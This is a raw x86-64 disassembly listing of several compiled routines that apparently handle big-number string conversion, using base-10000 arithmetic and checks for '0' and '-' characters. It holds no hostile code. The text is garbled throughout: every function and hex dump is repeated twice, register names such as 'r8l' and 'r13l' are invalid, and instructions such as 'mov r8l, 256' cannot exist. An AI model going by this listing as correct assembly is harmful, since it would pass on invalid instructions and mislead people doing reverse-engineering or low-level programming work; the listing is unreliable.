0043c04emov ecx, esi
0043c050mov [rax+4*rcx], 0
0043c057
0043c057loc_43c057:
0043c057xor eax, eax
0043c059mov rcx, [rbp+96]
0043c05dtest rcx, rcx
0043c060je 0x43c065
0043c062mov eax, [rcx-4]
0043c065
0043c065loc_43c065:
0043c065lea rcx, [rbp+96]
0043c069mov edx, eax
0043c06bmov r8l, 1
0043c071call fn_40ceb0
0043c076
0043c076loc_43c076:
0043c076xor eax, eax
0043c078mov rcx, [rbp+96]
0043c07ctest rcx, rcx
0043c07fje 0x43c084
0043c081mov eax, [rcx-4]
0043c084
0043c084loc_43c084:
0043c084test eax, eax
0043c086jg 0x43c004
0043c08cmov rax, [rbp+40]
0043c090mov [rax], 1
0043c093nop
0043c094lea rcx, [rbp+96]
0043c098call fn_40bd40
0043c09dlea rsp, [rbp+56]
0043c0a1pop rbx
0043c0a2pop rsi
0043c0a3pop rdi
0043c0a4pop rbp
0043c0a5ret
0043bf30
0043c0a6
0043c0a6 48 90 48 8d 04 05 00 00 00 00 H.H.......
0043c0a6 48 90 48 8d 04 05 00 00 00 00 H.H.......
0043c0b0
0043c0b0fn_43c0b0:
0043c0b0push rbp
0043c0b1sub rsp, 32
0043c0b5mov rbp, rsp
0043c0b8lea rcx, [rdx+96]
0043c0bccall fn_40bd40
0043c0c1lea rsp, [rbp+32]
0043c0c5pop rbp
0043c0c6ret
0043c0b0
0043c0b0fn_43c0b0:
0043c0b0push rbp
0043c0b1sub rsp, 32
0043c0b5mov rbp, rsp
0043c0b8lea rcx, [rdx+96]
0043c0bccall fn_40bd40
0043c0c1lea rsp, [rbp+32]
0043c0c5pop rbp
0043c0c6ret
0043c0b0
0043c0c7
0043c0c7 // align 0x10
0043c0c7 // align 0x10
0043c0d0
0043c0d0fn_43c0d0:
0043c0d0push rbp
0043c0d1push rsi
0043c0d2push rbx
0043c0d3sub rsp, 2112
0043c0damov rbp, rsp
0043c0ddmov [rbp+40], rdx
0043c0e1mov [rbp+2104], 0
0043c0ecmov [rbp+2144], rcx
0043c0f3mov rcx, [rbp+2144]
0043c0facall fn_40bee0
0043c0fflea rcx, [rbp+56]
0043c103mov rdx, [rip-0x3ae9a]
0043c10amov r8l, 256
0043c110call fn_40e2c0
0043c115nop
0043c116lea rcx, [rbp+2104]
0043c11dcall fn_40bd40
0043c122lea rcx, [rbp+56]
0043c126mov edx, 255
0043c12bcall fn_43ba30
0043c130xor eax, eax
0043c132mov rcx, [rbp+2144]
0043c139test rcx, rcx
0043c13cje 0x43c141
0043c13emov eax, [rcx-4]
0043c141
0043c141loc_43c141:
0043c141mov ecx, 1
0043c146mov esi, eax
0043c148mov ebx, ecx
0043c14acmp ebx, esi
0043c14cjg 0x43c17e
0043c14esub esi, ecx
0043c150add esi, 1
0043c153
0043c153loc_43c153:
0043c153lea rcx, [rbp+2104]
0043c15amov rax, [rbp+2144]
0043c161movsxd rdx, ebx
0043c164movzx rax, [rax+rdx-1]
0043c16amov rdx, [rbp+8*rax+56]
0043c16fcall fn_40c910
0043c174add ebx, 1
0043c177sub esi, 1
0043c17atest esi, esi
0043c17cjne 0x43c153
0043c17e
0043c17eloc_43c17e:
0043c17enop
0043c17fjmp 0x43c198
0043c181
0043c181loc_43c181:
0043c181lea rcx, [rbp+2104]
0043c188mov edx, 1
0043c18dmov r8l, 1
0043c193call fn_40ceb0
0043c198
0043c198loc_43c198:
0043c198mov rax, [rbp+2104]
0043c19fcmp [rax], 48
0043c1a2jne 0x43c1bb
0043c1a4mov rcx, [rbp+2104]
0043c1ablea rdx, [rip+174]
0043c1b2call fn_40cdc0
0043c1b7test eax, eax
0043c1b9jne 0x43c181
0043c1bb
0043c1bbloc_43c1bb:
0043c1bbmov rcx, [rbp+2104]
0043c1c2mov rdx, [rbp+40]
0043c1c6call fn_43bf30
0043c1cbnop
0043c1cclea rcx, [rbp+56]
0043c1d0mov rdx, [rip-0x3af67]
0043c1d7mov r8l, 256
0043c1ddcall fn_40ec40
0043c1e2lea rcx, [rbp+2104]
0043c1e9call fn_40bd40
0043c1eelea rcx, [rbp+2144]
0043c1f5call fn_40bd40
0043c1falea rsp, [rbp+2112]
0043c201pop rbx
0043c202pop rsi
0043c203pop rbp
0043c204ret
0043c0d0
0043c0d0fn_43c0d0:
0043c0d0push rbp
0043c0d1push rsi
0043c0d2push rbx
0043c0d3sub rsp, 2112
0043c0damov rbp, rsp
0043c0ddmov [rbp+40], rdx
0043c0e1mov [rbp+2104], 0
0043c0ecmov [rbp+2144], rcx
0043c0f3mov rcx, [rbp+2144]
0043c0facall fn_40bee0
0043c0fflea rcx, [rbp+56]
0043c103mov rdx, [rip-0x3ae9a]
0043c10amov r8l, 256
0043c110call fn_40e2c0
0043c115nop
0043c116lea rcx, [rbp+2104]
0043c11dcall fn_40bd40
0043c122lea rcx, [rbp+56]
0043c126mov edx, 255
0043c12bcall fn_43ba30
0043c130xor eax, eax
0043c132mov rcx, [rbp+2144]
0043c139test rcx, rcx
0043c13cje 0x43c141
0043c13emov eax, [rcx-4]
0043c141
0043c141loc_43c141:
0043c141mov ecx, 1
0043c146mov esi, eax
0043c148mov ebx, ecx
0043c14acmp ebx, esi
0043c14cjg 0x43c17e
0043c14esub esi, ecx
0043c150add esi, 1
0043c153
0043c153loc_43c153:
0043c153lea rcx, [rbp+2104]
0043c15amov rax, [rbp+2144]
0043c161movsxd rdx, ebx
0043c164movzx rax, [rax+rdx-1]
0043c16amov rdx, [rbp+8*rax+56]
0043c16fcall fn_40c910
0043c174add ebx, 1
0043c177sub esi, 1
0043c17atest esi, esi
0043c17cjne 0x43c153
0043c17e
0043c17eloc_43c17e:
0043c17enop
0043c17fjmp 0x43c198
0043c181
0043c181loc_43c181:
0043c181lea rcx, [rbp+2104]
0043c188mov edx, 1
0043c18dmov r8l, 1
0043c193call fn_40ceb0
0043c198
0043c198loc_43c198:
0043c198mov rax, [rbp+2104]
0043c19fcmp [rax], 48
0043c1a2jne 0x43c1bb
0043c1a4mov rcx, [rbp+2104]
0043c1ablea rdx, [rip+174]
0043c1b2call fn_40cdc0
0043c1b7test eax, eax
0043c1b9jne 0x43c181
0043c1bb
0043c1bbloc_43c1bb:
0043c1bbmov rcx, [rbp+2104]
0043c1c2mov rdx, [rbp+40]
0043c1c6call fn_43bf30
0043c1cbnop
0043c1cclea rcx, [rbp+56]
0043c1d0mov rdx, [rip-0x3af67]
0043c1d7mov r8l, 256
0043c1ddcall fn_40ec40
0043c1e2lea rcx, [rbp+2104]
0043c1e9call fn_40bd40
0043c1eelea rcx, [rbp+2144]
0043c1f5call fn_40bd40
0043c1falea rsp, [rbp+2112]
0043c201pop rbx
0043c202pop rsi
0043c203pop rbp
0043c204ret
0043c0d0
0043c205
0043c205 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
0043c205 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
0043c210
0043c210fn_43c210:
0043c210push rbp
0043c211push rbx
0043c212sub rsp, 40
0043c216mov rbp, rsp
0043c219mov rbx, rdx
0043c21clea rcx, [rbx+56]
0043c220mov rdx, [rip-0x3afb7]
0043c227mov r8l, 256
0043c22dcall fn_40ec40
0043c232lea rcx, [rbx+2104]
0043c239call fn_40bd40
0043c23elea rcx, [rbx+2144]
0043c245call fn_40bd40
0043c24alea rsp, [rbp+40]
0043c24epop rbx
0043c24fpop rbp
0043c250ret
0043c210
0043c210fn_43c210:
0043c210push rbp
0043c211push rbx
0043c212sub rsp, 40
0043c216mov rbp, rsp
0043c219mov rbx, rdx
0043c21clea rcx, [rbx+56]
0043c220mov rdx, [rip-0x3afb7]
0043c227mov r8l, 256
0043c22dcall fn_40ec40
0043c232lea rcx, [rbx+2104]
0043c239call fn_40bd40
0043c23elea rcx, [rbx+2144]
0043c245call fn_40bd40
0043c24alea rsp, [rbp+40]
0043c24epop rbx
0043c24fpop rbp
0043c250ret
0043c210
0043c251
0043c251 00 00 00 e3 04 01 00 ff ff ff ff 01 00 00 00 ...............
0043c260 30 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0...............
0043c251 00 00 00 e3 04 01 00 ff ff ff ff 01 00 00 00 ...............
0043c260 30 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0...............
0043c270
0043c270fn_43c270:
0043c270push rdi
0043c271push rsi
0043c272push rbx
0043c273sub rsp, 32
0043c277mov rbx, rdx
0043c27amov rax, [rbx+8]
0043c27emov esi, [rax]
0043c280xor eax, eax
0043c282mov ecx, esi
0043c284cmp ecx, 1
0043c287jb 0x43c2bf
0043c289
0043c289loc_43c289:
0043c289imul eax, eax, 10000
0043c28fmov r11l, ecx
0043c292mov rdx, [rbx+8]
0043c296mov r10l, eax
0043c299add r10l, [rdx+4*r11]
0043c29dmov rdi, [rbx+8]
0043c2a1mov eax, r10l
0043c2a4xor edx, edx
0043c2a6div r8l
0043c2a9mov [rdi+4*r11], eax
0043c2admov eax, r10l
0043c2b0xor edx, edx
0043c2b2div r8l
0043c2b5mov rax, rdx
0043c2b8sub ecx, 1
0043c2bbtest ecx, ecx
0043c2bdjne 0x43c289
0043c2bf
0043c2bfloc_43c2bf:
0043c2bfnop
0043c2c0mov [r9], ax
0043c2c4jmp 0x43c2c9
0043c2c6
0043c2c6loc_43c2c6:
0043c2c6sub esi, 1
0043c2c9
0043c2c9loc_43c2c9:
0043c2c9mov rax, [rbx+8]
0043c2cdmov ecx, esi
0043c2cfcmp [rax+4*rcx], 0
0043c2d3jne 0x43c2da
0043c2d5cmp esi, 1
0043c2d8ja 0x43c2c6
0043c2da
0043c2daloc_43c2da:
0043c2damov rax, [rbx+8]
0043c2decmp esi, [rax]
0043c2e0je 0x43c308
0043c2e2lea rcx, [rbx+8]
0043c2e6mov rdx, [rip-2613]
0043c2edmov r8l, 1
0043c2f3mov r9l, esi
0043c2f6add r9l, 1
0043c2famov r9l, r9l
0043c2fdcall fn_410430
0043c302mov rax, [rbx+8]
0043c306mov [rax], esi
0043c308
0043c308loc_43c308:
0043c308add rsp, 32
0043c30cpop rbx
0043c30dpop rsi
0043c30epop rdi
0043c30fret
0043c270
0043c270fn_43c270:
0043c270push rdi
0043c271push rsi
0043c272push rbx
0043c273sub rsp, 32
0043c277mov rbx, rdx
0043c27amov rax, [rbx+8]
0043c27emov esi, [rax]
0043c280xor eax, eax
0043c282mov ecx, esi
0043c284cmp ecx, 1
0043c287jb 0x43c2bf
0043c289
0043c289loc_43c289:
0043c289imul eax, eax, 10000
0043c28fmov r11l, ecx
0043c292mov rdx, [rbx+8]
0043c296mov r10l, eax
0043c299add r10l, [rdx+4*r11]
0043c29dmov rdi, [rbx+8]
0043c2a1mov eax, r10l
0043c2a4xor edx, edx
0043c2a6div r8l
0043c2a9mov [rdi+4*r11], eax
0043c2admov eax, r10l
0043c2b0xor edx, edx
0043c2b2div r8l
0043c2b5mov rax, rdx
0043c2b8sub ecx, 1
0043c2bbtest ecx, ecx
0043c2bdjne 0x43c289
0043c2bf
0043c2bfloc_43c2bf:
0043c2bfnop
0043c2c0mov [r9], ax
0043c2c4jmp 0x43c2c9
0043c2c6
0043c2c6loc_43c2c6:
0043c2c6sub esi, 1
0043c2c9
0043c2c9loc_43c2c9:
0043c2c9mov rax, [rbx+8]
0043c2cdmov ecx, esi
0043c2cfcmp [rax+4*rcx], 0
0043c2d3jne 0x43c2da
0043c2d5cmp esi, 1
0043c2d8ja 0x43c2c6
0043c2da
0043c2daloc_43c2da:
0043c2damov rax, [rbx+8]
0043c2decmp esi, [rax]
0043c2e0je 0x43c308
0043c2e2lea rcx, [rbx+8]
0043c2e6mov rdx, [rip-2613]
0043c2edmov r8l, 1
0043c2f3mov r9l, esi
0043c2f6add r9l, 1
0043c2famov r9l, r9l
0043c2fdcall fn_410430
0043c302mov rax, [rbx+8]
0043c306mov [rax], esi
0043c308
0043c308loc_43c308:
0043c308add rsp, 32
0043c30cpop rbx
0043c30dpop rsi
0043c30epop rdi
0043c30fret
0043c270
0043c310
0043c310fn_43c310:
0043c310push rbp
0043c311push r13
0043c313push rdi
0043c314push rsi
0043c315push rbx
0043c316sub rsp, 112
0043c31amov rbp, rsp
0043c31dmov [rbp+40], rdx
0043c321mov [rbp+56], 0
0043c329mov [rbp+48], 0
0043c331mov [rbp+64], 0
0043c339mov [rbp+72], 0
0043c341mov [rbp+96], 0
0043c349mov [rbp+88], 0
0043c351mov [rbp+160], rcx
0043c358mov rcx, [rbp+160]
0043c35fcall fn_40bee0
0043c364nop
0043c365jmp 0x43c37e
0043c367
0043c367loc_43c367:
0043c367lea rcx, [rbp+160]
0043c36emov edx, 1
0043c373mov r8l, 1
0043c379call fn_40ceb0
0043c37e
0043c37eloc_43c37e:
0043c37emov rax, [rbp+160]
0043c385movzx rax, [rax]
0043c389sub al, 40
0043c38ccmp al, 31
0043c38fja 0x43c3ac
0043c391mov edx, 1
0043c396movzx rcx, al
0043c39aand ecx, 127
0043c39dshl edx, cl
0043c39fmov eax, [rip+811]
0043c3a5test edx, eax
0043c3a7setne al
0043c3aajmp 0x43c3ae
0043c3ac
0043c3acloc_43c3ac:
0043c3acxor eax, eax
0043c3ae
0043c3aeloc_43c3ae:
0043c3aetest al, al
0043c3b0jne 0x43c3cb
0043c3b2xor eax, eax
0043c3b4mov rcx, [rbp+160]
0043c3bbtest rcx, rcx
0043c3beje 0x43c3c3
0043c3c0mov eax, [rcx-4]
0043c3c3
0043c3c3loc_43c3c3:
0043c3c3cmp eax, 1
0043c3c6setg al
0043c3c9jmp 0x43c3cd
0043c3cb
0043c3cbloc_43c3cb:
0043c3cbxor eax, eax
0043c3cd
0043c3cdloc_43c3cd:
0043c3cdtest al, al
0043c3cfjne 0x43c367
0043c3d1lea rcx, [rbp+72]
0043c3d5mov rdx, [rbp+160]
0043c3dcmov r8l, 1
0043c3e2mov r9l, 1
0043c3e8call fn_40ce30
0043c3edmov rcx, [rbp+72]
0043c3f1lea rdx, [rip+744]
0043c3f8call fn_40cdc0
0043c3fdtest eax, eax
0043c3ffjne 0x43c41d
0043c401xor edi, edi
0043c404lea rcx, [rbp+160]
0043c40bmov edx, 1
0043c410mov r8l, 1
0043c416call fn_40ceb0
0043c41bjmp 0x43c439
0043c41d
0043c41dloc_43c41d:
0043c41dmov dil, 1
0043c420jmp 0x43c439
0043c422
0043c422loc_43c422:
0043c422lea rcx, [rbp+160]
0043c429mov edx, 1
0043c42emov r8l, 1
0043c434call fn_40ceb0
0043c439
0043c439loc_43c439:
0043c439xor eax, eax
0043c43bmov rcx, [rbp+160]
0043c442test rcx, rcx
0043c445je 0x43c44a
0043c447mov eax, [rcx-4]
0043c44a
0043c44aloc_43c44a:
0043c44acmp eax, 1
0043c44djle 0x43c47f
0043c44flea rcx, [rbp+64]
0043c453mov rdx, [rbp+160]
0043c45amov r8l, 1
0043c460mov r9l, 1
0043c466call fn_40ce30
0043c46bmov rcx, [rbp+64]
0043c46flea rdx, [rip+634]
0043c476call fn_40cdc0
0043c47btest eax, eax
0043c47dje 0x43c422
0043c47f
0043c47floc_43c47f:
0043c47fxor eax, eax
0043c481mov rcx, [rbp+160]
0043c488test rcx, rcx
0043c48bje 0x43c490
0043c48dmov eax, [rcx-4]
0043c490
0043c490loc_43c490:
0043c490mov esi, eax
0043c492test esi, esi
0043c494jns 0x43c499
0043c496add esi, 3
0043c499
0043c499loc_43c499:
0043c499sar esi, 2
0043c49cxor eax, eax
0043c49etest rcx, rcx
0043c4a1je 0x43c4a6
0043c4a3mov eax, [rcx-4]
0043c4a6
0043c4a6loc_43c4a6:
0043c4a6and eax, 0xffffffff80000003
0043c4acjns 0x43c4b7
0043c4aesub eax, 1
0043c4b1or eax, -4
0043c4b4add eax, 1
0043c4b7
0043c4b7loc_43c4b7:
0043c4b7test eax, eax
0043c4b9je 0x43c4be
0043c4bbadd esi, 1
0043c4be
0043c4beloc_43c4be:
0043c4bemov rax, [rbp+40]
0043c4c2lea rcx, [rax+8]
0043c4c6mov rdx, [rip-3093]
0043c4cdmov r8l, 1
0043c4d3mov r9l, esi
0043c4d6add r9l, 1
0043c4damov r9l, r9l
0043c4ddcall fn_410430
0043c4e2mov rax, [rbp+40]
0043c4e6mov rax, [rax+8]
0043c4eamov [rax], esi
0043c4ecmov eax, 1
0043c4f1mov r13l, esi
0043c4f4sub r13l, 1
0043c4f8mov ebx, eax
0043c4facmp ebx, r13l
0043c4fdja 0x43c57e
0043c4ffsub r13l, eax
0043c502add r13l, 1
0043c506
0043c506loc_43c506:
0043c506xor eax, eax
0043c508mov rcx, [rbp+160]
0043c50ftest rcx, rcx
0043c512je 0x43c517
0043c514mov eax, [rcx-4]
0043c517
0043c517loc_43c517:
0043c517lea rcx, [rbp+88]
0043c51bmov rdx, [rbp+160]
0043c522mov r8l, eax
0043c525sub r8l, 3
0043c529mov r9l, 4
0043c52fcall fn_40ce30
0043c534mov rcx, [rbp+88]
0043c538call fn_430580
0043c53dmov rcx, [rbp+40]
0043c541mov rcx, [rcx+8]
0043c545mov edx, ebx
0043c547mov [rcx+4*rdx], eax
0043c54axor eax, eax
0043c54cmov rcx, [rbp+160]
0043c553test rcx, rcx
0043c556je 0x43c55b
0043c558mov eax, [rcx-4]
0043c55b
0043c55bloc_43c55b:
0043c55blea rcx, [rbp+160]
0043c562mov edx, eax
0043c564sub edx, 3
0043c567mov r8l, 4
0043c56dcall fn_40ceb0
0043c572add ebx, 1
0043c575sub r13l, 1
0043c579test r13l, r13l
0043c57cjne 0x43c506
0043c57e
0043c57eloc_43c57e:
0043c57enop
0043c57fmov rcx, [rbp+160]
0043c586call fn_430580
0043c58bmov rcx, [rbp+40]
0043c58fmov rcx, [rcx+8]
0043c593mov esi, esi
0043c595mov [rcx+4*rsi], eax
0043c598lea rcx, [rbp+96]
0043c59ccall fn_40bd40
0043c5a1jmp 0x43c5e7
0043c5a3
0043c5a3loc_43c5a3:
0043c5a3mov rcx, rbp
0043c5a6mov rdx, [rbp+40]
0043c5aamov r8l, 2
0043c5b0lea r9, [rbp+110]
0043c5b4call fn_43c270
0043c5b9lea rcx, [rbp+56]
0043c5bdmovzx edx, [rbp+110]
0043c5c1call fn_4225b0
0043c5c6lea rcx, [rbp+48]
0043c5camov rdx, [rbp+56]
0043c5cexor r8, r8
0043c5d1call fn_40cff0
0043c5d6lea rcx, [rbp+96]
0043c5damov rdx, [rbp+48]
0043c5demov r8, [rbp+96]
0043c5e2call fn_40ca10
0043c5e7
0043c5e7loc_43c5e7:
0043c5e7mov rax, [rbp+40]
0043c5ebmov rax, [rax+8]
0043c5efcmp [rax], 1
0043c5f2jne 0x43c5a3
0043c5f4mov rax, [rbp+40]
0043c5f8mov rax, [rax+8]
0043c5fccmp [rax+4], 0
0043c600jne 0x43c5a3
0043c602cmp [rbp+96], 0
0043c607jne 0x43c619
0043c609lea rcx, [rbp+96]
0043c60dlea rdx, [rip+220]
0043c614call fn_40c520
0043c619
0043c619loc_43c619:
0043c619mov rcx, [rbp+40]
0043c61dcall fn_43c700
0043c622mov rcx, [rbp+96]
0043c626mov rdx, [rbp+40]
0043c62acall fn_43bf30
0043c62fmov rax, [rbp+40]
0043c633mov [rax], dil
0043c636nop
0043c637lea rcx, [rbp+48]
0043c63bcall fn_40bd40
0043c640lea rcx, [rbp+56]
0043c644call fn_40bcf0
0043c649lea rcx, [rbp+64]
0043c64dmov edx, 2
0043c652call fn_40be20
0043c657lea rcx, [rbp+88]
0043c65bmov edx, 2
0043c660call fn_40be20
0043c665lea rcx, [rbp+160]
0043c66ccall fn_40bd40
0043c671lea rsp, [rbp+112]
0043c675pop rbx
0043c676pop rsi
0043c677pop rdi
0043c678pop r13
0043c67apop rbp
0043c67bret
0043c310
0043c310fn_43c310:
0043c310push rbp
0043c311push r13
0043c313push rdi
0043c314push rsi
0043c315push rbx
0043c316sub rsp, 112
0043c31amov rbp, rsp
0043c31dmov [rbp+40], rdx
0043c321mov [rbp+56], 0
0043c329mov [rbp+48], 0
0043c331mov [rbp+64], 0
0043c339mov [rbp+72], 0
0043c341mov [rbp+96], 0
0043c349mov [rbp+88], 0
0043c351mov [rbp+160], rcx
0043c358mov rcx, [rbp+160]
0043c35fcall fn_40bee0
0043c364nop
0043c365jmp 0x43c37e
0043c367
0043c367loc_43c367:
0043c367lea rcx, [rbp+160]
0043c36emov edx, 1
0043c373mov r8l, 1
0043c379call fn_40ceb0
0043c37e
0043c37eloc_43c37e:
0043c37emov rax, [rbp+160]
0043c385movzx rax, [rax]
0043c389sub al, 40
0043c38ccmp al, 31
0043c38fja 0x43c3ac
0043c391mov edx, 1
0043c396movzx rcx, al
0043c39aand ecx, 127
0043c39dshl edx, cl
0043c39fmov eax, [rip+811]
0043c3a5test edx, eax
0043c3a7setne al
0043c3aajmp 0x43c3ae
0043c3ac
0043c3acloc_43c3ac:
0043c3acxor eax, eax
0043c3ae
0043c3aeloc_43c3ae:
0043c3aetest al, al
0043c3b0jne 0x43c3cb
0043c3b2xor eax, eax
0043c3b4mov rcx, [rbp+160]
0043c3bbtest rcx, rcx
0043c3beje 0x43c3c3
0043c3c0mov eax, [rcx-4]
0043c3c3
0043c3c3loc_43c3c3:
0043c3c3cmp eax, 1
0043c3c6setg al
0043c3c9jmp 0x43c3cd
0043c3cb
0043c3cbloc_43c3cb:
0043c3cbxor eax, eax
0043c3cd
0043c3cdloc_43c3cd:
0043c3cdtest al, al
0043c3cfjne 0x43c367
0043c3d1lea rcx, [rbp+72]
0043c3d5mov rdx, [rbp+160]
0043c3dcmov r8l, 1
0043c3e2mov r9l, 1
0043c3e8call fn_40ce30
0043c3edmov rcx, [rbp+72]
0043c3f1lea rdx, [rip+744]
0043c3f8call fn_40cdc0
0043c3fdtest eax, eax
0043c3ffjne 0x43c41d
0043c401xor edi, edi
0043c404lea rcx, [rbp+160]
0043c40bmov edx, 1
0043c410mov r8l, 1
0043c416call fn_40ceb0
0043c41bjmp 0x43c439
0043c41d
0043c41dloc_43c41d:
0043c41dmov dil, 1
0043c420jmp 0x43c439
0043c422
0043c422loc_43c422:
0043c422lea rcx, [rbp+160]
0043c429mov edx, 1
0043c42emov r8l, 1
0043c434call fn_40ceb0
0043c439
0043c439loc_43c439:
0043c439xor eax, eax
0043c43bmov rcx, [rbp+160]
0043c442test rcx, rcx
0043c445je 0x43c44a
0043c447mov eax, [rcx-4]
0043c44a
0043c44aloc_43c44a:
0043c44acmp eax, 1
0043c44djle 0x43c47f
0043c44flea rcx, [rbp+64]
0043c453mov rdx, [rbp+160]
0043c45amov r8l, 1
0043c460mov r9l, 1
0043c466call fn_40ce30
0043c46bmov rcx, [rbp+64]
0043c46flea rdx, [rip+634]
0043c476call fn_40cdc0
0043c47btest eax, eax
0043c47dje 0x43c422
0043c47f
0043c47floc_43c47f:
0043c47fxor eax, eax
0043c481mov rcx, [rbp+160]
0043c488test rcx, rcx
0043c48bje 0x43c490
0043c48dmov eax, [rcx-4]
0043c490
0043c490loc_43c490:
0043c490mov esi, eax
0043c492test esi, esi
0043c494jns 0x43c499
0043c496add esi, 3
0043c499
0043c499loc_43c499:
0043c499sar esi, 2
0043c49cxor eax, eax
0043c49etest rcx, rcx
0043c4a1je 0x43c4a6
0043c4a3mov eax, [rcx-4]
0043c4a6
0043c4a6loc_43c4a6:
0043c4a6and eax, 0xffffffff80000003
0043c4acjns 0x43c4b7
0043c4aesub eax, 1
0043c4b1or eax, -4
0043c4b4add eax, 1
0043c4b7
0043c4b7loc_43c4b7:
0043c4b7test eax, eax
0043c4b9je 0x43c4be
0043c4bbadd esi, 1
0043c4be
0043c4beloc_43c4be:
0043c4bemov rax, [rbp+40]
0043c4c2lea rcx, [rax+8]
0043c4c6mov rdx, [rip-3093]
0043c4cdmov r8l, 1
0043c4d3mov r9l, esi
0043c4d6add r9l, 1
0043c4damov r9l, r9l
0043c4ddcall fn_410430
0043c4e2mov rax, [rbp+40]
0043c4e6mov rax, [rax+8]
0043c4eamov [rax], esi
0043c4ecmov eax, 1
0043c4f1mov r13l, esi
0043c4f4sub r13l, 1
0043c4f8mov ebx, eax
0043c4facmp ebx, r13l
0043c4fdja 0x43c57e
0043c4ffsub r13l, eax
0043c502add r13l, 1
0043c506
0043c506loc_43c506:
0043c506xor eax, eax
0043c508mov rcx, [rbp+160]
0043c50ftest rcx, rcx
0043c512je 0x43c517
0043c514mov eax, [rcx-4]
0043c517
0043c517loc_43c517:
0043c517lea rcx, [rbp+88]
0043c51bmov rdx, [rbp+160]
0043c522mov r8l, eax
0043c525sub r8l, 3
0043c529mov r9l, 4
0043c52fcall fn_40ce30
0043c534mov rcx, [rbp+88]
0043c538call fn_430580
0043c53dmov rcx, [rbp+40]
0043c541mov rcx, [rcx+8]
0043c545mov edx, ebx
0043c547mov [rcx+4*rdx], eax
0043c54axor eax, eax
0043c54cmov rcx, [rbp+160]
0043c553test rcx, rcx
0043c556je 0x43c55b
0043c558mov eax, [rcx-4]
0043c55b
0043c55bloc_43c55b:
0043c55blea rcx, [rbp+160]
0043c562mov edx, eax
0043c564sub edx, 3
0043c567mov r8l, 4
0043c56dcall fn_40ceb0
0043c572add ebx, 1
0043c575sub r13l, 1
0043c579test r13l, r13l
0043c57cjne 0x43c506
0043c57e
0043c57eloc_43c57e:
0043c57enop
0043c57fmov rcx, [rbp+160]
0043c586call fn_430580
0043c58bmov rcx, [rbp+40]
0043c58fmov rcx, [rcx+8]
0043c593mov esi, esi
0043c595mov [rcx+4*rsi], eax
0043c598lea rcx, [rbp+96]
0043c59ccall fn_40bd40
0043c5a1jmp 0x43c5e7
0043c5a3
0043c5a3loc_43c5a3:
0043c5a3mov rcx, rbp
0043c5a6mov rdx, [rbp+40]
0043c5aamov r8l, 2
0043c5b0lea r9, [rbp+110]
0043c5b4call fn_43c270
0043c5b9lea rcx, [rbp+56]
0043c5bdmovzx edx, [rbp+110]
0043c5c1call fn_4225b0
0043c5c6lea rcx, [rbp+48]
0043c5camov rdx, [rbp+56]
0043c5cexor r8, r8
0043c5d1call fn_40cff0
0043c5d6lea rcx, [rbp+96]
0043c5damov rdx, [rbp+48]
0043c5demov r8, [rbp+96]
0043c5e2call fn_40ca10
0043c5e7
0043c5e7loc_43c5e7:
0043c5e7mov rax, [rbp+40]
0043c5ebmov rax, [rax+8]
0043c5efcmp [rax], 1
0043c5f2jne 0x43c5a3
0043c5f4mov rax, [rbp+40]
0043c5f8mov rax, [rax+8]
0043c5fccmp [rax+4], 0
0043c600jne 0x43c5a3
0043c602cmp [rbp+96], 0
0043c607jne 0x43c619
0043c609lea rcx, [rbp+96]
0043c60dlea rdx, [rip+220]
0043c614call fn_40c520
0043c619
0043c619loc_43c619:
0043c619mov rcx, [rbp+40]
0043c61dcall fn_43c700
0043c622mov rcx, [rbp+96]
0043c626mov rdx, [rbp+40]
0043c62acall fn_43bf30
0043c62fmov rax, [rbp+40]
0043c633mov [rax], dil
0043c636nop
0043c637lea rcx, [rbp+48]
0043c63bcall fn_40bd40
0043c640lea rcx, [rbp+56]
0043c644call fn_40bcf0
0043c649lea rcx, [rbp+64]
0043c64dmov edx, 2
0043c652call fn_40be20
0043c657lea rcx, [rbp+88]
0043c65bmov edx, 2
0043c660call fn_40be20
0043c665lea rcx, [rbp+160]
0043c66ccall fn_40bd40
0043c671lea rsp, [rbp+112]
0043c675pop rbx
0043c676pop rsi
0043c677pop rdi
0043c678pop r13
0043c67apop rbp
0043c67bret
0043c310
0043c67c
0043c67c 48 8d 40 00 H.@.
0043c67c 48 8d 40 00 H.@.
0043c680
0043c680fn_43c680:
0043c680push rbp
0043c681push rbx
0043c682sub rsp, 40
0043c686mov rbp, rsp
0043c689mov rbx, rdx
0043c68clea rcx, [rbx+48]
0043c690call fn_40bd40
0043c695lea rcx, [rbx+56]
0043c699call fn_40bcf0
0043c69elea rcx, [rbx+64]
0043c6a2mov edx, 2
0043c6a7call fn_40be20
0043c6aclea rcx, [rbx+88]
0043c6b0mov edx, 2
0043c6b5call fn_40be20
0043c6balea rcx, [rbx+160]
0043c6c1call fn_40bd40
0043c6c6lea rsp, [rbp+40]
0043c6capop rbx
0043c6cbpop rbp
0043c6ccret
0043c680
0043c680fn_43c680:
0043c680push rbp
0043c681push rbx
0043c682sub rsp, 40
0043c686mov rbp, rsp
0043c689mov rbx, rdx
0043c68clea rcx, [rbx+48]
0043c690call fn_40bd40
0043c695lea rcx, [rbx+56]
0043c699call fn_40bcf0
0043c69elea rcx, [rbx+64]
0043c6a2mov edx, 2
0043c6a7call fn_40be20
0043c6aclea rcx, [rbx+88]
0043c6b0mov edx, 2
0043c6b5call fn_40be20
0043c6balea rcx, [rbx+160]
0043c6c1call fn_40bd40
0043c6c6lea rsp, [rbp+40]
0043c6capop rbx
0043c6cbpop rbp
0043c6ccret
0043c680
0043c6cd
0043c6cd 00 00 00 ...
0043c6d0 20 ff 03 00 e3 04 01 00 ff ff ff ff 01 00 00 00 ...............
0043c6e0 2d 00 00 00 e3 04 01 00 ff ff ff ff 01 00 00 00 -...............
0043c6f0 30 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0...............
0043c6cd 00 00 00 ...
0043c6d0 20 ff 03 00 e3 04 01 00 ff ff ff ff 01 00 00 00 ...............
0043c6e0 2d 00 00 00 e3 04 01 00 ff ff ff ff 01 00 00 00 -...............
0043c6f0 30 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0...............
0043c700
0043c700fn_43c700:
0043c700sub rsp, 40
0043c704lea rcx, [rcx+8]
0043c708mov rdx, [rip-3671]
0043c70fcall fn_410600
0043c714add rsp, 40
0043c718ret
0043c700
0043c700fn_43c700:
0043c700sub rsp, 40
0043c704lea rcx, [rcx+8]
0043c708mov rdx, [rip-3671]
0043c70fcall fn_410600
0043c714add rsp, 40
0043c718ret
